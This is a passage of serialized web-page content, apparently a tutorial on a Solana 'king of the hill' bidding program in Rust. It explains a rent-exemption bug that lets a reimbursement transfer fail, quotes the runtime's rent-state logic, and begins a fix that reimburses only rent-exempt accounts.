,[72913],{"type":31,"value":380},{"type":25,"tag":201,"props":72915,"children":72916},{"style":261},[72917],{"type":31,"value":80},{"type":25,"tag":201,"props":72919,"children":72920},{"style":220},[72921],{"type":31,"value":72833},{"type":25,"tag":201,"props":72923,"children":72924},{"style":261},[72925],{"type":31,"value":80},{"type":25,"tag":201,"props":72927,"children":72928},{"style":214},[72929],{"type":31,"value":72930},"to_account_info",{"type":25,"tag":201,"props":72932,"children":72933},{"style":220},[72934],{"type":31,"value":1104},{"type":25,"tag":201,"props":72936,"children":72937},{"class":203,"line":715},[72938,72943],{"type":25,"tag":201,"props":72939,"children":72940},{"style":246},[72941],{"type":31,"value":72942},"            bid_amount",{"type":25,"tag":201,"props":72944,"children":72945},{"style":220},[72946],{"type":31,"value":547},{"type":25,"tag":201,"props":72948,"children":72949},{"class":203,"line":732},[72950,72955,72959],{"type":25,"tag":201,"props":72951,"children":72952},{"style":220},[72953],{"type":31,"value":72954},"        )",{"type":25,"tag":201,"props":72956,"children":72957},{"style":261},[72958],{"type":31,"value":4661},{"type":25,"tag":201,"props":72960,"children":72961},{"style":220},[72962],{"type":31,"value":461},{"type":25,"tag":201,"props":72964,"children":72965},{"class":203,"line":749},[72966],{"type":25,"tag":201,"props":72967,"children":72968},{"emptyLinePlaceholder":17},[72969],{"type":31,"value":496},{"type":25,"tag":201,"props":72971,"children":72972},{"class":203,"line":757},[72973],{"type":25,"tag":201,"props":72974,"children":72975},{"style":4497},[72976],{"type":31,"value":72977},"        // Reimburse 95% of the last bid to the old king\n",{"type":25,"tag":201,"props":72979,"children":72980},{"class":203,"line":765},[72981,72985,72990,72994,72998,73002,73006,73010,73014,73018,73022,73026,73030,73035,73039,73043,73048],{"type":25,"tag":201,"props":72982,"children":72983},{"style":208},[72984],{"type":31,"value":1897},{"type":25,"tag":201,"props":72986,"children":72987},{"style":246},[72988],{"type":31,"value":72989}," to_reimburse",{"type":25,"tag":201,"props":72991,"children":72992},{"style":261},[72993],{"type":31,"value":413},{"type":25,"tag":201,"props":72995,"children":72996},{"style":220},[72997],{"type":31,"value":238},{"type":25,"tag":201,"props":72999,"children":73000},{"style":246},[73001],{"type":31,"value":21777},{"type":25,"tag":201,"props":73003,"children":73004},{"style":261},[73005],{"type":31,"value":80},{"type":25,"tag":201,"props":73007,"children":73008},{"style":220},[73009],{"type":31,"value":380},{"type":25,"tag":201,"props":73011,"children":73012},{"style":261},[73013],{"type":31,"value":80},{"type":25,"tag":201,"props":73015,"children":73016},{"style":220},[73017],{"type":31,"value":72833},{"type":25,"tag":201,"props":73019,"children":73020},{"style":261},[73021],{"type":31,"value":80},{"type":25,"tag":201,"props":73023,"children":73024},{"style":220},[73025],{"type":31,"value":72842},{"type":25,"tag":201,"props":73027,"children":73028},{"style":261},[73029],{"type":31,"value":6077},{"type":25,"tag":201,"props":73031,"children":73032},{"style":426},[73033],{"type":31,"value":73034}," 9500",{"type":25,"tag":201,"props":73036,"children":73037},{"style":220},[73038],{"type":31,"value":385},{"type":25,"tag":201,"props":73040,"children":73041},{"style":261},[73042],{"type":31,"value":6087},{"type":25,"tag":201,"props":73044,"children":73045},{"style":426},[73046],{"type":31,"value":73047}," 10000",{"type":25,"tag":201,"props":73049,"children":73050},{"style":220},[73051],{"type":31,"value":461},{"type":25,"tag":201,"props":73053,"children":73054},{"class":203,"line":783},[73055,73060],{"type":25,"tag":201,"props":73056,"children":73057},{"style":214},[73058],{"type":31,"value":73059},"        transfer_from_pda",{"type":25,"tag":201,"props":73061,"children":73062},{"style":220},[73063],{"type":31,"value":4970},{"type":25,"tag":201,"props":73065,"children":73066},{"class":203,"line":792},[73067,73071,73075,73079,73083,73087,73091,73095,73099],{"type":25,"tag":201,"props":73068,"children":73069},{"style":261},[73070],{"type":31,"value":9194},{"type":25,"tag":201,"props":73072,"children":73073},{"style":246},[73074],{"type":31,"value":21777},{"type":25,"tag":201,"props":73076,"children":73077},{"style":261},[73078],{"type":31,"value":80},{"type":25,"tag":201,"props":73080,"children":73081},{"style":220},[73082],{"type":31,"value":380},{"type":25,"tag":201,"props":73084,"children":73085},{"style":261},[73086],{"type":31,"value":80},{"type":25,"tag":201,"props":73088,"children":73089},{"style":220},[73090],{"type":31,"value":72833},{"type":25,"tag":201,"props":73092,"children":73093},{"style":261},[73094],{"type":31,"value":80},{"type":25,"tag":201,"props":73096,"children":73097},{"style":214},[73098],{"type":31,"value":72930},{"type":25,"tag":201,"props":73100,"children":73101},{"style":220},[73102],{"type":31,"value":1104},{"type":25,"tag":201,"props":73104,"children":73105},{"class":203,"line":801},[73106,73110,73114,73118,73122,73126],{"type":25,"tag":201,"props":73107,"children":73108},{"style":261},[73109],{"type":31,"value":9194},{"type":25,"tag":201,"props":73111,"children":73112},{"style":246},[73113],{"type":31,"value":21777},{"type":25,"tag":201,"props":73115,"children":73116},{"style":261},[73117],{"type":31,"value":80},{"type":25,"tag":201,"props":73119,"children":73120},{"style":220},[73121],{"type":31,"value":380},{"type":25,"tag":201,"props":73123,"children":73124},{"style":261},[73125],{"type":31,"value":80},{"type":25,"tag":201,"props":73127,"children":73128},{"style":220},[73129],{"type":31,"value":73130},"old_king,\n",{"type":25,"tag":201,"props":73132,"children":73133},{"class":203,"line":809},[73134,73139],{"type":25,"tag":201,"props":73135,"children":73136},{"style":246},[73137],{"type":31,"value":73138},"            to_reimburse",{"type":25,"tag":201,"props":73140,"children":73141},{"style":220},[73142],{"type":31,"value":547},{"type":25,"tag":201,"props":73144,"children":73145},{"class":203,"line":857},[73146,73150,73154],{"type":25,"tag":201,"props":73147,"children":73148},{"style":220},[73149],{"type":31,"value":72954},{"type":25,"tag":201,"props":73151,"children":73152},{"style":261},[73153],{"type":31,"value":4661},{"type":25,"tag":201,"props":73155,"children":73156},{"style":220},[73157],{"type":31,"value":461},{"type":25,"tag":201,"props":73159,"children":73160},{"class":203,"line":865},[73161],{"type":25,"tag":201,"props":73162,"children":73163},{"emptyLinePlaceholder":17},[73164],{"type":31,"value":496},{"type":25,"tag":201,"props":73166,"children":73167},{"class":203,"line":931},[73168],{"type":25,"tag":201,"props":73169,"children":73170},{"style":4497},[73171],{"type":31,"value":73172},"        // Set new king\n",{"type":25,"tag":201,"props":73174,"children":73175},{"class":203,"line":939},[73176,73180,73184,73188,73192,73196,73200,73205,73209,73213,73217,73221,73225,73230,73234,73239],{"type":25,"tag":201,"props":73177,"children":73178},{"style":246},[73179],{"type":31,"value":27670},{"type":25,"tag":201,"props":73181,"children":73182},{"style":261},[73183],{"type":31,"value":80},{"type":25,"tag":201,"props":73185,"children":73186},{"style":220},[73187],{"type":31,"value":380},{"type":25,"tag":201,"props":73189,"children":73190},{"style":261},[73191],{"type":31,"value":80},{"type":25,"tag":201,"props":73193,"children":73194},{"style":220},[73195],{"type":31,"value":72833},{"type":25,"tag":201,"props":73197,"children":73198},{"style":261},[73199],{"type":31,"value":80},{"type":25,"tag":201,"props":73201,"children":73202},{"style":220},[73203],{"type":31,"value":73204},"king ",{"type":25,"tag":201,"props":73206,"children":73207},{"style":261},[73208],{"type":31,"value":1383},{"type":25,"tag":201,"props":73210,"children":73211},{"style":246},[73212],{"type":31,"value":27327},{"type":25,"tag":201,"props":73214,"children":73215},{"style":261},[73216],{"type":31,"value":80},{"type":25,"tag":201,"props":73218,"children":73219},{"style":220},[73220],{"type":31,"value":380},{"type":25,"tag":201,"props":73222,"children":73223},{"style":261},[73224],{"type":31,"value":80},{"type":25,"tag":201,"props":73226,"children":73227},{"style":220},[73228],{"type":31,"value":73229},"new_king",{"type":25,"tag":201,"props":73231,"children":73232},{"style":261},[73233],{"type":31,"value":80},{"type":25,"tag":201,"props":73235,"children":73236},{"style":214},[73237],{"type":31,"value":73238},"key",{"type":25,"tag":201,"props":73240,"children":73241},{"style":220},[73242],{"type":31,"value":1985},{"type":25,"tag":201,"props":73244,"children":73245},{"class":203,"line":960},[73246,73250,73254,73258,73262,73266,73270,73274,73278,73283],{"type":25,"tag":201,"props":73247,"children":73248},{"style":246},[73249],{"type":31,"value":27670},{"type":25,"tag":201,"props":73251,"children":73252},{"style":261},[73253],{"type":31,"value":80},{"type":25,"tag":201,"props":73255,"children":73256},{"style":220},[73257],{"type":31,"value":380},{"type":25,"tag":201,"props":73259,"children":73260},{"style":261},[73261],{"type":31,"value":80},{"type":25,"tag":201,"props":73263,"children":73264},{"style":220},[73265],{"type":31,"value":72833},{"type":25,"tag":201,"props":73267,"children":73268},{"style":261},[73269],{"type":31,"value":80},{"type":25,"tag":201,"props":73271,"children":73272},{"style":220},[73273],{"type":31,"value":72842},{"type":25,"tag":201,"props":73275,"children":73276},{"style":261},[73277],{"type":31,"value":1383},{"type":25,"tag":201,"props":73279,"children":73280},{"style":246},[73281],{"type":31,"value":73282}," bid_amount",{"type":25,"tag":201,"props":73284,"children":73285},{"style":220},[73286],{"type":31,"value":461},{"type":25,"tag":201,"props":73288,"children":73289},{"class":203,"line":977},[73290,73294,73298,73302,73306,73310,73314,73319,73323,73328,73332,73336,73340,73344,73349,73353,73357],{"type":25,"tag":201,"props":73291,"children":73292},{"style":246},[73293],{"type":31,"value":27670},{"type":25,"tag":201,"props":73295,"children":73296},{"style":261},[73297],{"type":31,"value":80},{"type":25,"tag":201,"props":73299,"children":73300},{"style":220},[73301],{"type":31,"value":380},{"type":25,"tag":201,"props":73303,"children":73304},{"style":261},[73305],{"type":31,"value":80},{"type":25,"tag":201,"props":73307,"children":73308},{"style":220},[73309],{"type":31,"value":72833},{"type":25,"tag":201,"props":73311,"children":73312},{"style":261},[73313],{"type":31,"value":80},{"type":25,"tag":201,"props":73315,"children":73316},{"style":220},[73317],{"type":31,"value":73318},"last_time ",{"type":25,"tag":201,"props":73320,"children":73321},{"style":261},[73322],{"type":31,"value":1383},{"type":25,"tag":201,"props":73324,"children":73325},{"style":4925},[73326],{"type":31,"value":73327}," Clock",{"type":25,"tag":201,"props":73329,"children":73330},{"style":261},[73331],{"type":31,"value":4988},{"type":25,"tag":201,"props":73333,"children":73334},{"style":214},[73335],{"type":31,"value":17847},{"type":25,"tag":201,"props":73337,"children":73338},{"style":220},[73339],{"type":31,"value":15381},{"type":25,"tag":201,"props":73341,"children":73342},{"style":261},[73343],{"type":31,"value":4638},{"type":25,"tag":201,"props":73345,"children":73346},{"style":220},[73347],{"type":31,"value":73348},"unix_timestamp ",{"type":25,"tag":201,"props":73350,"children":73351},{"style":208},[73352],{"type":31,"value":10349},{"type":25,"tag":201,"props":73354,"children":73355},{"style":4925},[73356],{"type":31,"value":7369},{"type":25,"tag":201,"props":73358,"children":73359},{"style":220},[73360],{"type":31,"value":461},{"type":25,"tag":201,"props":73362,"children":73363},{"class":203,"line":994},[73364],{"type":25,"tag":201,"props":73365,"children":73366},{"emptyLinePlaceholder":17},[73367],{"type":31,"value":496},{"type":25,"tag":201,"props":73369,"children":73370},{"class":203,"line":1016},[73371,73375],{"type":25,"tag":201,"props":73372,"children":73373},{"style":4925},[73374],{"type":31,"value":16312},{"type":25,"tag":201,"props":73376,"children":73377},{"style":220},[73378],{"type":31,"value":15840},{"type":25,"tag":201,"props":73380,"children":73381},{"class":203,"line":1089},[73382],{"type":25,"tag":201,"props":73383,"children":73384},{"style":220},[73385],{"type":31,"value":4861},{"type":25,"tag":201,"props":73387,"children":73388},{"class":203,"line":1107},[73389],{"type":25,"tag":201,"props":73390,"children":73391},{"style":220},[73392],{"type":31,"value":1187},{"type":25,"tag":34,"props":73394,"children":73395},{},[73396],{"type":31,"value":73397},"Note this comment:",{"type":25,"tag":4439,"props":73399,"children":73400},{},[73401],{"type":25,"tag":34,"props":73402,"children":73403},{},[73404],{"type":31,"value":73405},"any writable account is allowed as a new king.",{"type":25,"tag":34,"props":73407,"children":73408},{},[73409],{"type":31,"value":73410},"...Is our assumption correct?",{"type":25,"tag":26,"props":73412,"children":73414},{"id":73413},"the-bugs-lurking-beneath",[73415],{"type":31,"value":73416},"The Bugs Lurking Beneath",{"type":25,"tag":40,"props":73418,"children":73420},{"id":73419},"bug-1-the-rent-exemption-trap",[73421],{"type":31,"value":73422},"Bug 1: The Rent-Exemption Trap",{"type":25,"tag":34,"props":73424,"children":73425},{},[73426,73428,73433],{"type":31,"value":73427},"On Solana, all accounts must maintain a ",{"type":25,"tag":1252,"props":73429,"children":73430},{},[73431],{"type":31,"value":73432},"minimum balance",{"type":31,"value":73434}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":25,"tag":18183,"props":73436,"children":73437},{},[73438,73453],{"type":25,"tag":6948,"props":73439,"children":73440},{},[73441,73446,73447],{"type":25,"tag":1252,"props":73442,"children":73443},{},[73444],{"type":31,"value":73445},"Uninitialized",{"type":31,"value":2957},{"type":25,"tag":115,"props":73448,"children":73450},{"className":73449},[],[73451],{"type":31,"value":73452},"lamports = 0",{"type":25,"tag":6948,"props":73454,"children":73455},{},[73456,73461,73462],{"type":25,"tag":1252,"props":73457,"children":73458},{},[73459],{"type":31,"value":73460},"Initialized",{"type":31,"value":2957},{"type":25,"tag":115,"props":73463,"children":73465},{"className":73464},[],[73466],{"type":31,"value":73467},"lamports >= rent-exempt threshold",{"type":25,"tag":34,"props":73469,"children":73470},{},[73471,73473,73478],{"type":31,"value":73472},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":25,"tag":1252,"props":73474,"children":73475},{},[73476],{"type":31,"value":73477},"account metadata",{"type":31,"value":73479}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":25,"tag":34,"props":73481,"children":73482},{},[73483,73485,73491],{"type":31,"value":73484},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":25,"tag":115,"props":73486,"children":73488},{"className":73487},[],[73489],{"type":31,"value":73490},"data.len() == 0",{"type":31,"value":73492}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":25,"tag":34,"props":73494,"children":73495},{},[73496,73498,73504],{"type":31,"value":73497},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":25,"tag":71,"props":73499,"children":73502},{"href":73500,"rel":73501},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[75],[73503],{"type":31,"value":48661},{"type":31,"value":80},{"type":25,"tag":191,"props":73506,"children":73508},{"className":4487,"code":73507,"language":4486,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[73509],{"type":25,"tag":115,"props":73510,"children":73511},{"__ignoreMap":7},[73512,73596,73613,73659,73679,73700,73721,73736,73753,73797,73816,73837,73858,73874,73882,73915,73922,73929,73936,73943],{"type":25,"tag":201,"props":73513,"children":73514},{"class":203,"line":204},[73515,73520,73525,73529,73533,73537,73541,73546,73550,73554,73559,73563,73568,73572,73576,73580,73584,73588,73592],{"type":25,"tag":201,"props":73516,"children":73517},{"style":208},[73518],{"type":31,"value":73519},"    fn",{"type":25,"tag":201,"props":73521,"children":73522},{"style":214},[73523],{"type":31,"value":73524}," transition_allowed",{"type":25,"tag":201,"props":73526,"children":73527},{"style":220},[73528],{"type":31,"value":298},{"type":25,"tag":201,"props":73530,"children":73531},{"style":261},[73532],{"type":31,"value":4615},{"type":25,"tag":201,"props":73534,"children":73535},{"style":208},[73536],{"type":31,"value":15215},{"type":25,"tag":201,"props":73538,"children":73539},{"style":220},[73540],{"type":31,"value":919},{"type":25,"tag":201,"props":73542,"children":73543},{"style":246},[73544],{"type":31,"value":73545},"pre_rent_state",{"type":25,"tag":201,"props":73547,"children":73548},{"style":261},[73549],{"type":31,"value":5997},{"type":25,"tag":201,"props":73551,"children":73552},{"style":261},[73553],{"type":31,"value":8650},{"type":25,"tag":201,"props":73555,"children":73556},{"style":4925},[73557],{"type":31,"value":73558},"RentState",{"type":25,"tag":201,"props":73560,"children":73561},{"style":220},[73562],{"type":31,"value":919},{"type":25,"tag":201,"props":73564,"children":73565},{"style":246},[73566],{"type":31,"value":73567},"post_rent_state",{"type":25,"tag":201,"props":73569,"children":73570},{"style":261},[73571],{"type":31,"value":5997},{"type":25,"tag":201,"props":73573,"children":73574},{"style":261},[73575],{"type":31,"value":8650},{"type":25,"tag":201,"props":73577,"children":73578},{"style":4925},[73579],{"type":31,"value":73558},{"type":25,"tag":201,"props":73581,"children":73582},{"style":220},[73583],{"type":31,"value":385},{"type":25,"tag":201,"props":73585,"children":73586},{"style":261},[73587],{"type":31,"value":15259},{"type":25,"tag":201,"props":73589,"children":73590},{"style":4925},[73591],{"type":31,"value":13552},{"type":25,"tag":201,"props":73593,"children":73594},{"style":220},[73595],{"type":31,"value":327},{"type":25,"tag":201,"props":73597,"children":73598},{"class":203,"line":226},[73599,73604,73609],{"type":25,"tag":201,"props":73600,"children":73601},{"style":230},[73602],{"type":31,"value":73603},"        match",{"type":25,"tag":201,"props":73605,"children":73606},{"style":246},[73607],{"type":31,"value":73608}," post_rent_state",{"type":25,"tag":201,"props":73610,"children":73611},{"style":220},[73612],{"type":31,"value":327},{"type":25,"tag":201,"props":73614,"children":73615},{"class":203,"line":278},[73616,73621,73625,73629,73633,73638,73642,73647,73651,73655],{"type":25,"tag":201,"props":73617,"children":73618},{"style":4925},[73619],{"type":31,"value":73620},"            RentState",{"type":25,"tag":201,"props":73622,"children":73623},{"style":261},[73624],{"type":31,"value":4988},{"type":25,"tag":201,"props":73626,"children":73627},{"style":4925},[73628],{"type":31,"value":73445},{"type":25,"tag":201,"props":73630,"children":73631},{"style":261},[73632],{"type":31,"value":5774},{"type":25,"tag":201,"props":73634,"children":73635},{"style":4925},[73636],{"type":31,"value":73637}," RentState",{"type":25,"tag":201,"props":73639,"children":73640},{"style":261},[73641],{"type":31,"value":4988},{"type":25,"tag":201,"props":73643,"children":73644},{"style":4925},[73645],{"type":31,"value":73646},"RentExempt",{"type":25,"tag":201,"props":73648,"children":73649},{"style":261},[73650],{"type":31,"value":29237},{"type":25,"tag":201,"props":73652,"children":73653},{"style":208},[73654],{"type":31,"value":13971},{"type":25,"tag":201,"props":73656,"children":73657},{"style":220},[73658],{"type":31,"value":547},{"type":25,"tag":201,"props":73660,"children":73661},{"class":203,"line":311},[73662,73666,73670,73675],{"type":25,"tag":201,"props":73663,"children":73664},{"style":4925},[73665],{"type":31,"value":73620},{"type":25,"tag":201,"props":73667,"children":73668},{"style":261},[73669],{"type":31,"value":4988},{"type":25,"tag":201,"props":73671,"children":73672},{"style":4925},[73673],{"type":31,"value":73674},"RentPaying",{"type":25,"tag":201,"props":73676,"children":73677},{"style":220},[73678],{"type":31,"value":327},{"type":25,"tag":201,"props":73680,"children":73681},{"class":203,"line":330},[73682,73687,73691,73696],{"type":25,"tag":201,"props":73683,"children":73684},{"style":246},[73685],{"type":31,"value":73686},"                data_size",{"type":25,"tag":201,"props":73688,"children":73689},{"style":261},[73690],{"type":31,"value":5997},{"type":25,"tag":201,"props":73692,"children":73693},{"style":246},[73694],{"type":31,"value":73695}," post_data_size",{"type":25,"tag":201,"props":73697,"children":73698},{"style":220},[73699],{"type":31,"value":547},{"type":25,"tag":201,"props":73701,"children":73702},{"class":203,"line":397},[73703,73708,73712,73717],{"type":25,"tag":201,"props":73704,"children":73705},{"style":246},[73706],{"type":31,"value":73707},"                lamports",{"type":25,"tag":201,"props":73709,"children":73710},{"style":261},[73711],{"type":31,"value":5997},{"type":25,"tag":201,"props":73713,"children":73714},{"style":246},[73715],{"type":31,"value":73716}," post_lamports",{"type":25,"tag":201,"props":73718,"children":73719},{"style":220},[73720],{"type":31,"value":547},{"type":25,"tag":201,"props":73722,"children":73723},{"class":203,"line":437},[73724,73728,73732],{"type":25,"tag":201,"props":73725,"children":73726},{"style":220},[73727],{"type":31,"value":71676},{"type":25,"tag":201,"props":73729,"children":73730},{"style":261},[73731],{"type":31,"value":390},{"type":25,"tag":201,"props":73733,"children":73734},{"style":220},[73735],{"type":31,"value":327},{"type":25,"tag":201,"props":73737,"children":73738},{"class":203,"line":464},[73739,73744,73749],{"type":25,"tag":201,"props":73740,"children":73741},{"style":230},[73742],{"type":31,"value":73743},"                match",{"type":25,"tag":201,"props":73745,"children":73746},{"style":246},[73747],{"type":31,"value":73748}," pre_rent_state",{"type":25,"tag":201,"props":73750,"children":73751},{"style":220},[73752],{"type":31,"value":327},{"type":25,"tag":201,"props":73754,"children":73755},{"class":203,"line":490},[73756,73761,73765,73769,73773,73777,73781,73785,73789,73793],{"type":25,"tag":201,"props":73757,"children":73758},{"style":4925},[73759],{"type":31,"value":73760},"                    RentState",{"type":25,"tag":201,"props":73762,"children":73763},{"style":261},[73764],{"type":31,"value":4988},{"type":25,"tag":201,"props":73766,"children":73767},{"style":4925},[73768],{"type":31,"value":73445},{"type":25,"tag":201,"props":73770,"children":73771},{"style":261},[73772],{"type":31,"value":5774},{"type":25,"tag":201,"props":73774,"children":73775},{"style":4925},[73776],{"type":31,"value":73637},{"type":25,"tag":201,"props":73778,"children":73779},{"style":261},[73780],{"type":31,"value":4988},{"type":25,"tag":201,"props":73782,"children":73783},{"style":4925},[73784],{"type":31,"value":73646},{"type":25,"tag":201,"props":73786,"children":73787},{"style":261},[73788],{"type":31,"value":29237},{"type":25,"tag":201,"props":73790,"children":73791},{"style":208},[73792],{"type":31,"value":542},{"type":25,"tag":201,"props":73794,"children":73795},{"style":220},[73796],{"type":31,"value":547},{"type":25,"tag":201,"props":73798,"children":73799},{"class":203,"line":499},[73800,73804,73808,73812],{"type":25,"tag":201,"props":73801,"children":73802},{"style":4925},[73803],{"type":31,"value":73760},{"type":25,"tag":201,"props":73805,"children":73806},{"style":261},[73807],{"type":31,"value":4988},{"type":25,"tag":201,"props":73809,"children":73810},{"style":4925},[73811],{"type":31,"value":73674},{"type":25,"tag":201,"props":73813,"children":73814},{"style":220},[73815],{"type":31,"value":327},{"type":25,"tag":201,"props":73817,"children":73818},{"class":203,"line":522},[73819,73824,73828,73833],{"type":25,"tag":201,"props":73820,"children":73821},{"style":246},[73822],{"type":31,"value":73823},"                        data_size",{"type":25,"tag":201,"props":73825,"children":73826},{"style":261},[73827],{"type":31,"value":5997},{"type":25,"tag":201,"props":73829,"children":73830},{"style":246},[73831],{"type":31,"value":73832}," pre_data_size",{"type":25,"tag":201,"props":73834,"children":73835},{"style":220},[73836],{"type":31,"value":547},{"type":25,"tag":201,"props":73838,"children":73839},{"class":203,"line":531},[73840,73845,73849,73854],{"type":25,"tag":201,"props":73841,"children":73842},{"style":246},[73843],{"type":31,"value":73844},"                        lamports",{"type":25,"tag":201,"props":73846,"children":73847},{"style":261},[73848],{"type":31,"value":5997},{"type":25,"tag":201,"props":73850,"children":73851},{"style":246},[73852],{"type":31,"value":73853}," pre_lamports",{"type":25,"tag":201,"props":73855,"children":73856},{"style":220},[73857],{"type":31,"value":547},{"type":25,"tag":201,"props":73859,"children":73860},{"class":203,"line":550},[73861,73866,73870],{"type":25,"tag":201,"props":73862,"children":73863},{"style":220},[73864],{"type":31,"value":73865},"                    } ",{"type":25,"tag":201,"props":73867,"children":73868},{"style":261},[73869],{"type":31,"value":390},{"type":25,"tag":201,"props":73871,"children":73872},{"style":220},[73873],{"type":31,"value":327},{"type":25,"tag":201,"props":73875,"children":73876},{"class":203,"line":563},[73877],{"type":25,"tag":201,"props":73878,"children":73879},{"style":4497},[73880],{"type":31,"value":73881},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":25,"tag":201,"props":73883,"children":73884},{"class":203,"line":572},[73885,73890,73894,73898,73902,73906,73910],{"type":25,"tag":201,"props":73886,"children":73887},{"style":246},[73888],{"type":31,"value":73889},"                        post_data_size",{"type":25,"tag":201,"props":73891,"children":73892},{"style":261},[73893],{"type":31,"value":4789},{"type":25,"tag":201,"props":73895,"children":73896},{"style":246},[73897],{"type":31,"value":73832},{"type":25,"tag":201,"props":73899,"children":73900},{"style":261},[73901],{"type":31,"value":15687},{"type":25,"tag":201,"props":73903,"children":73904},{"style":246},[73905],{"type":31,"value":73716},{"type":25,"tag":201,"props":73907,"children":73908},{"style":261},[73909],{"type":31,"value":9705},{"type":25,"tag":201,"props":73911,"children":73912},{"style":246},[73913],{"type":31,"value":73914}," pre_lamports\n",{"type":25,"tag":201,"props":73916,"children":73917},{"class":203,"line":590},[73918],{"type":25,"tag":201,"props":73919,"children":73920},{"style":220},[73921],{"type":31,"value":72145},{"type":25,"tag":201,"props":73923,"children":73924},{"class":203,"line":608},[73925],{"type":25,"tag":201,"props":73926,"children":73927},{"style":220},[73928],{"type":31,"value":72153},{"type":25,"tag":201,"props":73930,"children":73931},{"class":203,"line":617},[73932],{"type":25,"tag":201,"props":73933,"children":73934},{"style":220},[73935],{"type":31,"value":59964},{"type":25,"tag":201,"props":73937,"children":73938},{"class":203,"line":625},[73939],{"type":25,"tag":201,"props":73940,"children":73941},{"style":220},[73942],{"type":31,"value":4853},{"type":25,"tag":201,"props":73944,"children":73945},{"class":203,"line":642},[73946],{"type":25,"tag":201,"props":73947,"children":73948},{"style":220},[73949],{"type":31,"value":4861},{"type":25,"tag":34,"props":73951,"children":73952},{},[73953],{"type":31,"value":73954},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":25,"tag":191,"props":73956,"children":73958},{"className":5748,"code":73957,"language":5747,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[73959],{"type":25,"tag":115,"props":73960,"children":73961},{"__ignoreMap":7},[73962,73978],{"type":25,"tag":201,"props":73963,"children":73964},{"class":203,"line":204},[73965,73969,73974],{"type":25,"tag":201,"props":73966,"children":73967},{"style":214},[73968],{"type":31,"value":4388},{"type":25,"tag":201,"props":73970,"children":73971},{"style":267},[73972],{"type":31,"value":73973}," rent",{"type":25,"tag":201,"props":73975,"children":73976},{"style":426},[73977],{"type":31,"value":25764},{"type":25,"tag":201,"props":73979,"children":73980},{"class":203,"line":226},[73981,73986,73991,73996],{"type":25,"tag":201,"props":73982,"children":73983},{"style":214},[73984],{"type":31,"value":73985},"Rent-exempt",{"type":25,"tag":201,"props":73987,"children":73988},{"style":267},[73989],{"type":31,"value":73990}," minimum:",{"type":25,"tag":201,"props":73992,"children":73993},{"style":426},[73994],{"type":31,"value":73995}," 0.00089088",{"type":25,"tag":201,"props":73997,"children":73998},{"style":267},[73999],{"type":31,"value":74000}," SOL\n",{"type":25,"tag":20392,"props":74002,"children":74004},{"id":74003},"fix-1-only-reimburse-if-rent-exempt",[74005],{"type":31,"value":74006},"Fix 1: Only Reimburse if Rent-Exempt",{"type":25,"tag":34,"props":74008,"children":74009},{},[74010],{"type":31,"value":74011},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":25,"tag":191,"props":74013,"children":74015},{"className":41431,"code":74014,"language":41433,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[74016],{"type":25,"tag":115,"props":74017,"children":74018},{"__ignoreMap":7},[74019,74027,74035,74043,74051,74059,74067,74075,74083,74091],{"type":25,"tag":201,"props":74020,"children":74021},{"class":203,"line":204},[74022],{"type":25,"tag":201,"props":74023,"children":74024},{"style":220},[74025],{"type":31,"value":74026},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":25,"tag":201,"props":74028,"children":74029},{"class":203,"line":226},[74030],{"type":25,"tag":201,"props":74031,"children":74032},{"style":426},[74033],{"type":31,"value":74034},"+let rent = Rent::get()?;\n",{"type":25,"tag":201,"props":74036,"children":74037},{"class":203,"line":278},[74038],{"type":25,"tag":201,"props":74039,"children":74040},{"style":426},[74041],{"type":31,"value":74042},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":25,"tag":201,"props":74044,"children":74045},{"class":203,"line":311},[74046],{"type":25,"tag":201,"props":74047,"children":74048},{"style":426},[74049],{"type":31,"value":74050},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":25,"tag":201,"props":74052,"children":74053},{"class":203,"line":330},[74054],{"type":25,"tag":201,"props":74055,"children":74056},{"style":220},[74057],{"type":31,"value":74058},"    transfer_from_pda(\n",{"type":25,"tag":201,"props":74060,"children":74061},{"class":203,"line":397},[74062],{"type":25,"tag":201,"props":74063,"children":74064},{"style":220},[74065],{"type":31,"value":74066},"        &ctx.accounts.throne.to_account_info(),\n",{"type":25,"tag":201,"props":74068,"children":74069},{"class":203,"line":437},[74070],{"type":25,"tag":201,"props":74071,"children":74072},{"style":220},[74073],{"type":31,"value":74074},"        &ctx.accounts.old_king,\n",{"type":25,"tag":201,"props":74076,"children":74077},{"class":203,"line":464},[74078],{"type":25,"tag":201,"props":74079,"children":74080},{"style":220},[74081],{"type":31,"value":74082},"        